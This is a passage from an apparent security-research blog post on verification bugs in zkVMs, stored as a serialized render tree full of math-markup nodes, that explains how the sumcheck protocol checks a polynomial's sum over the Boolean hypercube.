",{"type":24,"tag":284,"props":115381,"children":115383},{"className":115382},[2949,2950],[115384],{"type":24,"tag":327,"props":115385,"children":115387},{"className":115386},[2955],[115388],{"type":24,"tag":327,"props":115389,"children":115391},{"className":115390,"ariaHidden":2961},[2960],[115392],{"type":24,"tag":327,"props":115393,"children":115395},{"className":115394},[2966],[115396,115400],{"type":24,"tag":327,"props":115397,"children":115399},{"className":115398,"style":2972},[2971],[],{"type":24,"tag":327,"props":115401,"children":115403},{"className":115402,"style":114972},[2977,2978],[115404],{"type":29,"value":115296},{"type":29,"value":115406}," exactly so that the verification passes, even though it should not.",{"type":24,"tag":25,"props":115408,"children":115409},{},[115410],{"type":29,"value":115411},"This is the bug class we found in all six systems.",{"type":24,"tag":235,"props":115413,"children":115415},{"id":115414},"the-sumcheck-protocol",[115416],{"type":29,"value":115417},"The Sumcheck Protocol",{"type":24,"tag":25,"props":115419,"children":115420},{},[115421,115423,115509],{"type":29,"value":115422},"The sumcheck protocol proves that a polynomial sums to a claimed value over the Boolean hypercube (all inputs in ",{"type":24,"tag":284,"props":115424,"children":115426},{"className":115425},[2949,2950],[115427],{"type":24,"tag":327,"props":115428,"children":115430},{"className":115429},[2955],[115431],{"type":24,"tag":327,"props":115432,"children":115434},{"className":115433,"ariaHidden":2961},[2960],[115435],{"type":24,"tag":327,"props":115436,"children":115438},{"className":115437},[2966],[115439,115443,115448,115453,115458,115462,115467],{"type":24,"tag":327,"props":115440,"children":115442},{"className":115441,"style":3685},[2971],[],{"type":24,"tag":327,"props":115444,"children":115446},{"className":115445},[3121],[115447],{"type":29,"value":83345},{"type":24,"tag":327,"props":115449,"children":115451},{"className":115450},[2977],[115452],{"type":29,"value":2988},{"type":24,"tag":327,"props":115454,"children":115456},{"className":115455},[11695],[115457],{"type":29,"value":11698},{"type":24,"tag":327,"props":115459,"children":115461},{"className":115460,"style":3169},[2992],[],{"type":24,"tag":327,"props":115463,"children":115465},{"className":115464},[2977],[115466],{"type":29,"value":3238},{"type":24,"tag":327,"props":115468,"children":115470},{"className":115469},[3143],[115471,115476],{"type":24,"tag":327,"props":115472,"children":115474},{"className":115473},[3143],[115475],{"type":29,"value":40852},{"type":24,"tag":327,"props":115477,"children":115479},{"className":115478},[3032],[115480],{"type":24,"tag":327,"props":115481,"children":115483},{"className":115482},[3037],[115484],{"type":24,"tag":327,"props":115485,"children":115487},{"className":115486},[3043],[115488],{"type":24,"tag":327,"props":115489,"children":115492},{"className":115490,"style":115491},[3048],"height:0.6644em;",[115493],{"type":24,"tag":327,"props":115494,"children":115495},{"style":11628},[115496,115500],{"type":24,"tag":327,"props":115497,"children":115499},{"className":115498,"style":3059},[3058],[],{"type":24,"tag":327,"props":115501,"children":115503},{"className":115502},[3064,3065,3066,3067],[115504],{"type":24,"tag":327,"props":115505,"children":115507},{"className":115506},[2977,2978,3067],[115508],{"type":29,"value":63125},{"type":29,"value":115510},"), i.e the claim:",{"type":24,"tag":25,"props":115512,"children":115513},{},[115514],{"type":24,"tag":284,"props":115515,"children":115517},{"className":115516},[2949,2950],[115518],{"type":24,"tag":327,"props":115519,"children":115521},{"className":115520},[2955],[115522],{"type":24,"tag":327,"props":115523,"children":115525},{"className":115524,"ariaHidden":2961},[2960],[115526,115552],{"type":24,"tag":327,"props":115527,"children":115529},{"className":115528},[2966],[115530,115534,115539,115543,115548],{"type":24,"tag":327,"props":115531,"children":115533},{"className":115532,"style":2972},[2971],[],{"type":24,"tag":327,"props":115535,"children":115537},{"className":115536,"style":100008},[2977,2978],[115538],{"type":29,"value":100011},{"type":24,"tag":327,"props":115540,"children":115542},{"className":115541,"style":2993},[2992],[],{"type":24,"tag":327,"props":115544,"children":115546},{"className":115545},[2998],[115547],{"type":29,"value":384},{"type":24,"tag":327,"props":115549,"children":115551},{"className":115550,"style":2993},[2992],[],{"type":24,"tag":327,"props":115553,"children":115555},{"className":115554},[2966],[115556,115560,115710,115714,115857,115861,115868,115872,116016,116020,116026,116031,116088,116093,116097,116154,116159,116163,116169,116173,116178,116182,116240],{"type":24,"tag":327,"props":115557,"children":115559},{"className":115558,"style":3013},[2971],[],{"type":24,"tag":327,"props":115561,"children":115563},{"className":115562},[3018],[115564,115570],{"type":24,"tag":327,"props":115565,"children":115567},{"className":115566,"style":3025},[3018,3023,3024],[115568],{"type":29,"value":115569},"∑",{"type":24,"tag":327,"props":115571,"children":115573},{"className":115572},[3032],[115574],{"type":24,"tag":327,"props":115575,"children":115577},{"className":115576},[3037,3038],[115578,115699],{"type":24,"tag":327,"props":115579,"children":115581},{"className":115580},[3043],[115582,115694],{"type":24,"tag":327,"props":115583,"children":115585},{"className":115584,"style":3049},[3048],[115586],{"type":24,"tag":327,"props":115587,"children":115588},{"style":3053},[115589,115593],{"type":24,"tag":327,"props":115590,"children":115592},{"className":115591,"style":3059},[3058],[],{"type":24,"tag":327,"props":115594,"children":115596},{"className":115595},[3064,3065,3066,3067],[115597],{"type":24,"tag":327,"props":115598,"children":115600},{"className":115599},[2977,3067],[115601,115664,115669,115674,115679,115684,115689],{"type":24,"tag":327,"props":115602,"children":115604},{"className":115603},[2977,3067],[115605,115610],{"type":24,"tag":327,"props":115606,"children":115608},{"className":115607},[2977,2978,3067],[115609],{"type":29,"value":603},{"type":24,"tag":327,"props":115611,"children":115613},{"className":115612},[3032],[115614],{"type":24,"tag":327,"props":115615,"children":115617},{"className":115616},[3037,3038],[115618,115652],{"type":24,"tag":327,"props":115619,"children":115621},{"className":115620},[3043],[115622,115647],{"type":24,"tag":327,"props":115623,"children":115626},{"className":115624,"style":115625},[3048],"height:0.3173em;",[115627],{"type":24,"tag":327,"props":115628,"children":115630},{"style":115629},"top:-2.357em;margin-left:0em;margin-right:0.0714em;",[115631,115636],{"type":24,"tag":327,"props":115632,"children":115635},{"className":115633,"style":115634},[3058],"height:2.5em;",[],{"type":24,"tag":327,"props":115637,"children":115641},{"className":115638},[3064,115639,115640,3067],"reset-size3","size1",[115642],{"type":24,"tag":327,"props":115643,"children":115645},{"className":115644},[2977,3067],[115646],{"type":29,"value":3238},{"type":24,"tag":327,"props":115648,"children":115650},{"className":115649},[3150],[115651],{"type":29,"value":3153},{"type":24,"tag":327,"props":115653,"children":115655},{"className":115654},[3043],[115656],{"type":24,"tag":327,"props":115657,"children":115660},{"className":115658,"style":115659},[3048],"height:0.143em;",[115661],{"type":24,"tag":327,"props":115662,"children":115663},{},[],{"type":24,"tag":327,"props":115665,"children":115667},{"className":115666},[2998,3067],[115668],{"type":29,"value":3099},{"type":24,"tag":327,"props":115670,"children":115672},{"className":115671},[3121,3067],[115673],{"type":29,"value":83345},{"type":24,"tag":327,"props":115675,"children":115677},{"className":115676},[2977,3067],[115678],{"type":29,"value":2988},{"type":24,"tag":327,"props":115680,"children":115682},{"className":115681},[11695,3067],[115683],{"type":29,"value":11698},{"type":24,"tag":327,"props":115685,"children":115687},{"className":115686},[2977,3067],[115688],{"type":29,"value":3238},{"type":24,"tag":327,"props":115690,"children":115692},{"className":115691},[3143,3067],[115693],{"type":29,"value":40852},{"type":24,"tag":327,"props":115695,"children":115697},{"className":115696},[3150],[115698],{"type":29,"value":3153},{"type":24,"tag":327,"props":115700,"children":115702},{"className":115701},[3043],[115703],{"type":24,"tag":327,"props":115704,"children":115706},{"className":115705,"style":3161},[3048],[115707],{"type":24,"tag":327,"props":115708,"children":115709},{},[],{"type":24,"tag":327,"props":115711,"children":115713},{"className":115712,"style":3169},[2992],[],{"type":24,"tag":327,"props":115715,"children":115717},{"className":115716},[3018],[115718,115723],{"type":24,"tag":327,"props":115719,"children":115721},{"className":115720,"style":3025},[3018,3023,3024],[115722],{"type":29,"value":115569},{"type":24,"tag":327,"props":115724,"children":115726},{"className":115725},[3032],[115727],{"type":24,"tag":327,"props":115728,"children":115730},{"className":115729},[3037,3038],[115731,115846],{"type":24,"tag":327,"props":115732,"children":115734},{"className":115733},[3043],[115735,115841],{"type":24,"tag":327,"props":115736,"children":115738},{"className":115737,"style":3049},[3048],[115739],{"type":24,"tag":327,"props":115740,"children":115741},{"style":3053},[115742,115746],{"type":24,"tag":327,"props":115743,"children":115745},{"className":115744,"style":3059},[3058],[],{"type":24,"tag":327,"props":115747,"children":115749},{"className":115748},[3064,3065,3066,3067],[115750],{"type":24,"tag":327,"props":115751,"children":115753},{"className":115752},[2977,3067],[115754,115811,115816,115821,115826,115831,115836],{"type":24,"tag":327,"props":115755,"children":115757},{"className":115756},[2977,3067],[115758,115763],{"type":24,"tag":327,"props":115759,"children":115761},{"className":115760},[2977,2978,3067],[115762],{"type":29,"value":603},{"type":24,"tag":327,"props":115764,"children":115766},{"className":115765},[3032],[115767],{"type":24,"tag":327,"props":115768,"children":115770},{"className":115769},[3037,3038],[115771,115800],{"type":24,"tag":327,"props":115772,"children":115774},{"className":115773},[3043],[115775,115795],{"type":24,"tag":327,"props":115776,"children":115778},{"className":115777,"style":115625},[3048],[115779],{"type":24,"tag":327,"props":115780,"children":115781},{"style":115629},[115782,115786],{"type":24,"tag":327,"props":115783,"children":115785},{"className":115784,"style":115634},[3058],[],{"type":24,"tag":327,"props":115787,"children":115789},{"className":115788},[3064,115639,115640,3067],[115790],{"type":24,"tag":327,"props":115791,"children":115793},{"className":115792},[2977,3067],[115794],{"type":29,"value":10731},{"type":24,"tag":327,"props":115796,"children":115798},{"className":115797},[3150],[115799],{"type":29,"value":3153},{"type":24,"tag":327,"props":115801,"children":115803},{"className":115802},[3043],[115804],{"type":24,"tag":327,"props":115805,"children":115807},{"className":115806,"style":115659},[3048],[115808],{"type":24,"tag":327,"props":115809,"children":115810},{},[],{"type":24,"tag":327,"props":115812,"children":115814},{"className":115813},[2998,3067],[115815],{"type":29,"value":3099},{"type":24,"tag":327,"props":115817,"children":115819},{"className":115818},[3121,3067],[115820],{"type":29,"value":83345},{"type":24,"tag":327,"props":115822,"children":115824},{"className":115823},[2977,3067],[115825],{"type":29,"value":2988},{"type":24,"tag":327,"props":115827,"children":115829},{"className":115828},[11695,3067],[115830],{"type":29,"value":11698},{"type":24,"tag":327,"props":115832,"children":115834},{"className":115833},[2977,3067],[115835],{"type":29,"value":3238},{"type":24,"tag":327,"props":115837,"children":115839},{"className":115838},[3143,3067],[115840],{"type":29,"value":40852},{"type":24,"tag":327,"props":115842,"children":115844},{"className":115843},[3150],[115845],{"type":29,"value":3153},{"type":24,"tag":327,"props":115847,"children":115849},{"className":115848},[3043],[115850],{"type":24,"tag":327,"props":115851,"children":115853},{"className":115852,"style":3161},[3048],[115854],{"type":24,"tag":327,"props":115855,"children":115856},{},[],{"type":24,"tag":327,"props":115858,"children":115860},{"className":115859,"style":3169},[2992],[],{"type":24,"tag":327,"props":115862,"children":115865},{"className":115863},[115864],"minner",[115866],{"type":29,"value":115867},"⋯",{"type":24,"tag":327,"props":115869,"children":115871},{"className":115870,"style":3169},[2992],[],{"type":24,"tag":327,"props":115873,"children":115875},{"className":115874},[3018],[115876,115881],{"type":24,"tag":327,"props":115877,"children":115879},{"className":115878,"style":3025},[3018,3023,3024],[115880],{"type":29,"value":115569},{"type":24,"tag":327,"props":115882,"children":115884},{"className":115883},[3032],[115885],{"type":24,"tag":327,"props":115886,"children":115888},{"className":115887},[3037,3038],[115889,116005],{"type":24,"tag":327,"props":115890,"children":115892},{"className":115891},[3043],[115893,116000],{"type":24,"tag":327,"props":115894,"children":115896},{"className":115895,"style":3049},[3048],[115897],{"type":24,"tag":327,"props":115898,"children":115899},{"style":3053},[115900,115904],{"type":24,"tag":327,"props":115901,"children":115903},{"className":115902,"style":3059},[3058],[],{"type":24,"tag":327,"props":115905,"children":115907},{"className":115906},[3064,3065,3066,3067],[115908],{"type":24,"tag":327,"props":115909,"children":115911},{"className":115910},[2977,3067],[115912,115970,115975,115980,115985,115990,115995],{"type":24,"tag":327,"props":115913,"children":115915},{"className":115914},[2977,3067],[115916,115921],{"type":24,"tag":327,"props":115917,"children":115919},{"className":115918},[2977,2978,3067],[115920],{"type":29,"value":603},{"type":24,"tag":327,"props":115922,"children":115924},{"className":115923},[3032],[115925],{"type":24,"tag":327,"props":115926,"children":115928},{"className":115927},[3037,3038],[115929,115959],{"type":24,"tag":327,"props":115930,"children":115932},{"className":115931},[3043],[115933,115954],{"type":24,"tag":327,"props":115934,"children":115937},{"className":115935,"style":115936},[3048],"height:0.1645em;",[115938],{"type":24,"tag":327,"props":115939,"children":115940},{"style":115629},[115941,115945],{"type":24,"tag":327,"props":115942,"children":115944},{"className":115943,"style":115634},[3058],[],{"type":24,"tag":327,"props":115946,"children":115948},{"className":115947},[3064,115639,115640,3067],[115949],{"type":24,"tag":327,"props":115950,"children":115952},{"className":115951},[2977,2978,3067],[115953],{"type":29,"value":63125},{"type":24,"tag":327,"props":115955,"children":115957},{"className":115956},[3150],[115958],{"type":29,"value":3153},{"type":24,"tag":327,"props":115960,"children":115962},{"className":115961},[3043],[115963],{"type":24,"tag":327,"props":115964,"children":115966},{"className":115965,"style":115659},[3048],[115967],{"type":24,"tag":327,"props":115968,"children":115969},{},[],{"type":24,"tag":327,"props":115971,"children":115973},{"className":115972},[2998,3067],[115974],{"type":29,"value":3099},{"type":24,"tag":327,"props":115976,"children":115978},{"className":115977},[3121,3067],[115979],{"type":29,"value":83345},{"type":24,"tag":327,"props":115981,"children":115983},{"className":115982},[2977,3067],[115984],{"type":29,"value":2988},{"type":24,"tag":327,"props":115986,"children":115988},{"className":115987},[11695,3067],[115989],{"type":29,"value":11698},{"type":24,"tag":327,"props":115991,"children":115993},{"className":115992},[2977,3067],[115994],{"type":29,"value":3238},{"type":24,"tag":327,"props":115996,"children":115998},{"className":115997},[3143,3067],[115999],{"type":29,"value":40852},{"type":24,"tag":327,"props":116001,"children":116003},{"className":116002},[3150],[116004],{"type":29,"value":3153},{"type":24,"tag":327,"props":116006,"children":116008},{"className":116007},[3043],[116009],{"type":24,"tag":327,"props":116010,"children":116012},{"className":116011,"style":3161},[3048],[116013],{"type":24,"tag":327,"props":116014,"children":116015},{},[],{"type":24,"tag":327,"props":116017,"children":116019},{"className":116018,"style":3169},[2992],[],{"type":24,"tag":327,"props":116021,"children":116023},{"className":116022,"style":100260},[2977,2978],[116024],{"type":29,"value":116025},"g",{"type":24,"tag":327,"props":116027,"children":116029},{"className":116028},[3121],[116030],{"type":29,"value":349},{"type":24,"tag":327,"props":116032,"children":116034},{"className":116033},[2977],[116035,116040],{"type":24,"tag":327,"props":116036,"children":116038},{"className":116037},[2977,2978],[116039],{"type":29,"value":603},{"type":24,"tag":327,"props":116041,"children":116043},{"className":116042},[3032],[116044],{"type":24,"tag":327,"props":116045,"children":116047},{"className":116046},[3037,3038],[116048,116077],{"type":24,"tag":327,"props":116049,"children":116051},{"className":116050},[3043],[116052,116072],{"type":24,"tag":327,"props":116053,"children":116055},{"className":116054,"style":99826},[3048],[116056],{"type":24,"tag":327,"props":116057,"children":116058},{"style":99830},[116059,116063],{"type":24,"tag":327,"props":116060,"children":116062},{"className":116061,"style":3059},[3058],[],{"type":24,"tag":327,"props":116064,"children":116066},{"className":116065},[3064,3065,3066,3067],[116067],{"type":24,"tag":327,"props":116068,"children":116070},{"className":116069},[2977,3067],[116071],{"type":29,"value":3238},{"type":24,"tag":327,"props":116073,"children":116075},{"className":116074},[3150],[116076],{"type":29,"value":3153},{"type":24,"tag":327,"props":116078,"children":116080},{"className":116079},[3043],[116081],{"type":24,"tag":327,"props":116082,"children":116084},{"className":116083,"style":99857},[3048],[116085],{"type":24,"tag":327,"props":116086,"children":116087},{},[],{"type":24,"tag":327,"props":116089,"children":116091},{"className":116090},[11695],[116092],{"type":29,"value":11698},{"type":24,"tag":327,"props":116094,"children":116096},{"className":116095,"style":3169},[2992],[],{"type":24,"tag":327,"props":116098,"children":116100},{"className":116099},[2977],[116101,116106],{"type":24,"tag":327,"props":116102,"children":116104},{"className":116103},[2977,2978],[116105],{"type":29,"value":603},{"type":24,"tag":327,"props":116107,"children":116109},{"className":116108},[3032],[116110],{"type":24,"tag":327,"props":116111,"children":116113},{"className":116112},[3037,3038],[116114,116143],{"type":24,"tag":327,"props":116115,"children":116117},{"className":116116},[3043],[116118,116138],{"type":24,"tag":327,"props":116119,"children":116121},{"className":116120,"style":99826},[3048],[116122],{"type":24,"tag":327,"props":116123,"children":116124},{"style":99830},[116125,116129],{"type":24,"tag":327,"props":116126,"children":116128},{"className":116127,"style":3059},[3058],[],{"type":24,"tag":327,"props":116130,"children":116132},{"className":116131},[3064,3065,3066,3067],[116133],{"type":24,"tag":327,"props":116134,"children":116136},{"className":116135},[2977,3067],[116137],{"type":29,"value":10731},{"type":24,"tag":327,"props":116139,"children":116141},{"className":116140},[3150],[116142],{"type":29,"value":3153},{"type":24,"tag":327,"props":116144,"children":116146},{"className":116145},[3043],[116147],{"type":24,"tag":327,"props":116148,"children":116150},{"className":116149,"style":99857},[3048],[116151],{"type":24,"tag":327,"props":116152,"children":116153},{},[],{"type":24,"tag":327,"props":116155,"children":116157},{"className":116156},[11695],[116158],{"type":29,"value":11698},{"type":24,"tag":327,"props":116160,"children":116162},{"className":116161,"style":3169},[2992],[],{"type":24,"tag":327,"props":116164,"children":116166},{"className":116165},[115864],[116167],{"type":29,"value":116168},"…",{"type":24,"tag":327,"props":116170,"children":116172},{"className":116171,"style":3169},[2992],[],{"type":24,"tag":327,"props":116174,"children":116176},{"className":116175},[11695],[116177],{"type":29,"value":11698},{"type":24,"tag":327,"props":116179,"children":116181},{"className":116180,"style":3169},[2992],[],{"type":24,"tag":327,"props":116183,"children":116185},{"className":116184},[2977],[116186,116191],{"type":24,"tag":327,"props":116187,"children":116189},{"className":116188},[2977,2978],[116190],{"type":29,"value":603},{"type":24,"tag":327,"props":116192,"children":116194},{"className":116193},[3032],[116195],{"type":24,"tag":327,"props":116196,"children":116198},{"className":116197},[3037,3038],[116199,116229],{"type":24,"tag":327,"props":116200,"children":116202},{"className":116201},[3043],[116203,116224],{"type":24,"tag":327,"props":116204,"children":116207},{"className":116205,"style":116206},[3048],"height:0.1514em;",[116208],{"type":24,"tag":327,"props":116209,"children":116210},{"style":99830},[116211,116215],{"type":24,"tag":327,"props":116212,"children":116214},{"className":116213,"style":3059},[3058],[],{"type":24,"tag":327,"props":116216,"children":116218},{"className":116217},[3064,3065,3066,3067],[116219],{"type":24,"tag":327,"props":116220,"children":116222},{"className":116221},[2977,2978,3067],[116223],{"type":29,"value":63125},{"type":24,"tag":327,"props":116225,"children":116227},{"className":116226},[3150],[116228],{"type":29,"value":3153},{"type":24,"tag":327,"props":116230,"children":116232},{"className":116231},[3043],[116233],{"type":24,"tag":327,"props":116234,"children":116236},{"className":116235,"style":99857},[3048],[116237],{"type":24,"tag":327,"props":116238,"children":116239},{},[],{"type":24,"tag":327,"props":116241,"children":116243},{"className":116242},[3143],[116244],{"type":29,"value":3146},{"type":24,"tag":25,"props":116246,"children":116247},{},[116248,116250,116311],{"type":29,"value":116249},"The naive approach would be for the verifier to compute all ",{"type":24,"tag":284,"props":116251,"children":116253},{"className":116252},[2949,2950],[116254],{"type":24,"tag":327,"props":116255,"children":116257},{"className":116256},[2955],[116258],{"type":24,"tag":327,"props":116259,"children":116261},{"className":116260,"ariaHidden":2961},[2960],[116262],{"type":24,"tag":327,"props":116263,"children":116265},{"className":116264},[2966],[116266,116270],{"type":24,"tag":327,"props":116267,"children":116269},{"className":116268,"style":115491},[2971],[],{"type":24,"tag":327,"props":116271,"children":116273},{"className":116272},[2977],[116274,116279],{"type":24,"tag":327,"props":116275,"children":116277},{"className":116276},[2977],[116278],{"type":29,"value":10731},{"type":24,"tag":327,"props":116280,"children":116282},{"className":116281},[3032],[116283],{"type":24,"tag":327,"props":116284,"children":116286},{"className":116285},[3037],[116287],{"type":24,"tag":327,"props":116288,"children":116290},{"className":116289},[3043],[116291],{"type":24,"tag":327,"props":116292,"children":116294},{"className":116293,"style":115491},[3048],[116295],{"type":24,"tag":327,"props":116296,"children":116297},{"style":11628},[116298,116302],{"type":24,"tag":327,"props":116299,"children":116301},{"className":116300,"style":3059},[3058],[],{"type":24,"tag":327,"props":116303,"children":116305},{"className":116304},[3064,3065,3066,3067],[116306],{"type":24,"tag":327,"props":116307,"children":116309},{"className":116308},[2977,2978,3067],[116310],{"type":29,"value":63125},{"type":29,"value":116312}," evaluations. This is exponentially expensive.",{"type":24,"tag":25,"props":116314,"children":116315},{},[116316,116318,116323],{"type":29,"value":116317},"The sumcheck protocol is a clever interactive protocol that reduces the exponential number of polynomial evaluations to checking ",{"type":24,"tag":188,"props":116319,"children":116320},{},[116321],{"type":29,"value":116322},"only one",{"type":29,"value":66},{"type":24,"tag":25,"props":116325,"children":116326},{},[116327],{"type":24,"tag":11511,"props":116328,"children":116331},{"alt":116329,"src":116330},"sumcheck_v2","/posts/zkvms-unfaithful-claims/sumcheck_v2.svg",[],{"type":24,"tag":25,"props":116333,"children":116334},{},[116335,116337,116429,116431,116616,116618,116643,116645,116723,116725,116804],{"type":29,"value":116336},"In each round, the prover must send a polynomial ",{"type":24,"tag":284,"props":116338,"children":116340},{"className":116339},[2949,2950],[116341],{"type":24,"tag":327,"props":116342,"children":116344},{"className":116343},[2955],[116345],{"type":24,"tag":327,"props":116346,"children":116348},{"className":116347,"ariaHidden":2961},[2960],[116349],{"type":24,"tag":327,"props":116350,"children":116352},{"className":116351},[2966],[116353,116357,116414,116419,116424],{"type":24,"tag":327,"props":116354,"children":116356},{"className":116355,"style":3685},[2971],[],{"type":24,"tag":327,"props":116358,"children":116360},{"className":116359},[2977],[116361,116366],{"type":24,"tag":327,"props":116362,"children":116364},{"className":116363,"style":100260},[2977,2978],[116365],{"type":29,"value":116025},{"type":24,"tag":327,"props":116367,"children":116369},{"className":116368},[3032],[116370],{"type":24,"tag":327,"props":116371,"children":116373},{"className":116372},[3037,3038],[116374,116403],{"type":24,"tag":327,"props":116375,"children":116377},{"className":116376},[3043],[116378,116398],{"type":24,"tag":327,"props":116379,"children":116381},{"className":116380,"style":100303},[3048],[116382],{"type":24,"tag":327,"props":116383,"children":116384},{"style":100307},[116385,116389],{"type":24,"tag":327,"props":116386,"children":116388},{"className":116387,"style":3059},[3058],[],{"type":24,"tag":327,"props":116390,"children":116392},{"className":116391},[3064,3065,3066,3067],[116393],{"type":24,"tag":327,"props":116394,"children":116396},{"className":116395},[2977,2978,3067],[116397],{"type":29,"value":11334},{"type":24,"tag":327,"props":116399,"children":116401},{"className":116400},[3150],[116402],{"type":29,"value":3153},{"type":24,"tag":327,"props":116404,"children":116406},{"className":116405},[3043],[116407],{"type":24,"tag":327,"props":116408,"children":116410},{"className":116409,"style":99857},[3048],[116411],{"type":24,"tag":327,"props":116412,"children":116413},{},[],{"type":24,"tag":327,"props":116415,"children":116417},{"className":116416},[3121],[116418],{"type":29,"value":349},{"type":24,"tag":327,"props":116420,"children":116422},{"className":116421,"style":101794},[2977,2978],[116423],{"type":29,"value":13700},{"type":24,"tag":327,"props":116425,"children":116427},{"className":116426},[3143],[116428],{"type":29,"value":3146},{"type":29,"value":116430}," such that ",{"type":24,"tag":284,"props":116432,"children":116434},{"className":116433},[2949,2950],[116435],{"type":24,"tag":327,"props":116436,"children":116438},{"className":116437},[2955],[116439],{"type":24,"tag":327,"props":116440,"children":116442},{"className":116441,"ariaHidden":2961},[2960],[116443,116536],{"type":24,"tag":327,"props":116444,"children":116446},{"className":116445},[2966],[116447,116451,116508,116513,116518,116523,116527,116532],{"type":24,"tag":327,"props":116448,"children":116450},{"className":116449,"style":3685},[2971],[],{"type":24,"tag":327,"props":116452,"children":116454},{"className":116453},[2977],[116455,116460],{"type":24,"tag":327,"props":116456,"children":116458},{"className":116457,"style":100260},[2977,2978],[116459],{"type":29,"value":116025},{"type":24,"tag":327,"props":116461,"children":116463},{"className":116462},[3032],[116464],{"type":24,"tag":327,"props":116465,"children":116467},{"className":116466},[3037,3038],[116468,116497],{"type":24,"tag":327,"props":116469,"children":116471},{"className":116470},[3043],[116472,116492],{"type":24,"tag":327,"props":116473,"children":116475},{"className":116474,"style":100303},[3048],[116476],{"type":24,"tag":327,"props":116477,"children":116478},{"style":100307},[116479,116483],{"type":24,"tag":327,"props":116480,"children":116482},{"className":116481,"style":3059},[3058],[],{"type":24,"tag":327,"props":116484,"children":116486},{"className":116485},[3064,3065,3066,3067],[116487],{"type":24,"tag":327,"props":116488,"children":116490},{"className":116489},[2977,2978,3067],[116491],{"type":29,"value":11334},{"type":24,"tag":327,"props":116493,"children":116495},{"className":116494},[3150],[116496],{"type":29,"value":3153},{"type":24,"tag":327,"props":116498,"children":116500},{"className":116499},[3043],[116501],{"type":24,"tag":327,"props":116502,"children":116504},{"className":116503,"style":99857},[3048],[116505],{"type":24,"tag":327,"props":116506,"children":116507},{},[],{"type":24,"tag":327,"props":116509,"children":116511},{"className":116510},[3121],[116512],{"type":29,"value":349},{"type":24,"tag":327,"props":116514,"children":116516},{"className":116515},[2977],[116517],{"type":29,"value":2988},{"type":24,"tag":327,"props":116519,"children":116521},{"className":116520},[3143],[116522],{"type":29,"value":3146},{"type":24,"tag":327,"props":116524,"children":116526},{"className":116525,"style":3705},[2992],[],{"type":24,"tag":327,"props":116528,"children":116530},{"className":116529},[3710],[116531],{"type":29,"value":394},{"type":24,"tag":327,"props":116533,"children":116535},{"className":116534,"style":3705},[2992],[],{"type":24,"tag":327,"props":116537,"children":116539},{"className":116538},[2966],[116540,116544,116601,116606,116611],{"type":24,"tag":327,"props":116541,"children":116543},{"className":116542,"style":3685},[2971],[],{"type":24,"tag":327,"props":116545,"children":116547},{"className":116546},[2977],[116548,116553],{"type":24,"tag":327,"props":116549,"children":116551},{"className":116550,"style":100260},[2977,2978],[116552],{"type":29,"value":116025},{"type":24,"tag":327,"props":116554,"children":116556},{"className":116555},[3032],[116557],{"type":24,"tag":327,"props":116558,"children":116560},{"className":116559},[3037,3038],[116561,116590],{"type":24,"tag":327,"props":116562,"children":116564},{"className":116563},[3043],[116565,116585],{"type":24,"tag":327,"props":116566,"children":116568},{"className":116567,"style":100303},[3048],[116569],{"type":24,"tag":327,"props":116570,"children":116571},{"style":100307},[116572,116576],{"type":24,"tag":327,"props":116573,"children":116575},{"className":116574,"style":3059},[3058],[],{"type":24,"tag":327,"props":116577,"children":116579},{"className":116578},[3064,3065,3066,3067],[116580],{"type":24,"tag":327,"props":116581,"children":116583},{"className":116582},[2977,2978,3067],[116584],{"type":29,"value":11334},{"type":24,"tag":327,"props":116586,"children":116588},{"className":116587},[3150],[116589],{"type":29,"value":3153},{"type":24,"tag":327,"props":116591,"children":116593},{"className":116592},[3043],[116594],{"type":24,"tag":327,"props":116595,"children":116597},{"className":116596,"style":99857},[3048],[116598],{"type":24,"tag":327,"props":116599,"children":116600},{},[],{"type":24,"tag":327,"props":116602,"children":116604},{"className":116603},[3121],[116605],{"type":29,"value":349},{"type":24,"tag":327,"props":116607,"children":116609},{"className":116608},[2977],[116610],{"type":29,"value":3238},{"type":24,"tag":327,"props":116612,"children":116614},{"className":116613},[3143],[116615],{"type":29,"value":3146},{"type":29,"value":116617}," equals the previous claim. If the prover is lying about the original sum ",{"type":24,"tag":284,"props":116619,"children":116621},{"className":116620},[2949,2950],[116622],{"type":24,"tag":327,"props":116623,"children":116625},{"className":116624},[2955],[116626],{"type":24,"tag":327,"props":116627,"children":116629},{"className":116628,"ariaHidden":2961},[2960],[116630],{"type":24,"tag":327,"props":116631,"children":116633},{"className":116632},[2966],[116634,116638],{"type":24,"tag":327,"props":116635,"children":116637},{"className":116636,"style":2972},[2971],[],{"type":24,"tag":327,"props":116639,"children":116641},{"className":116640,"style":100008},[2977,2978],[116642],{"type":29,"value":100011},{"type":29,"value":116644},", then they must lie about ",{"type":24,"tag":284,"props":116646,"children":116648},{"className":116647},[2949,2950],[116649],{"type":24,"tag":327,"props":116650,"children":116652},{"className":116651},[2955],[116653],{"type":24,"tag":327,"props":116654,"children":116656},{"className":116655,"ariaHidden":2961},[2960],[116657],{"type":24,"tag":327,"props":116658,"children":116660},{"className":116659},[2966],[116661,116666],{"type":24,"tag":327,"props":116662,"children":116665},{"className":116663,"style":116664},[2971],"height:0.625em;vertical-align:-0.1944em;",[],{"type":24,"tag":327,"props":116667,"children":116669},{"className":116668},[2977],[116670,116675],{"type":24,"tag":327,"props":116671,"children":116673},{"className":116672,"style":100260},[2977,2978],[116674],{"type":29,"value":116025},{"type":24,"tag":327,"props":116676,"children":116678},{"className":116677},[3032],[116679],{"type":24,"tag":327,"props":116680,"children":116682},{"className":116681},[3037,3038],[116683,116712],{"type":24,"tag":327,"props":116684,"children":116686},{"className":116685},[3043],[116687,116707],{"type":24,"tag":327,"props":116688,"children":116690},{"className":116689,"style":100303},[3048],[116691],{"type":24,"tag":327,"props":116692,"children":116693},{"style":100307},[116694,116698],{"type":24,"tag":327,"props":116695,"children":116697},{"className":116696,"style":3059},[3058],[],{"type":24,"tag":327,"props":116699,"children":116701},{"className":116700},[3064,3065,3066,3067],[116702],{"type":24,"tag":327,"props":116703,"children":116705},{"className":116704},[2977,2978,3067],[116706],{"type":29,"value":11334},{"type":24,"tag":327,"props":116708,"children":116710},{"className":116709},[3150],[116711],{"type":29,"value":3153},{"type":24,"tag":327,"props":116713,"children":116715},{"className":116714},[3043],[116716],{"type":24,"tag":327,"props":116717,"children":116719},{"className":116718,"style":99857},[3048],[116720],{"type":24,"tag":327,"props":116721,"children":116722},{},[],{"type":29,"value":116724}," somewhere. But since the verifier picks a random 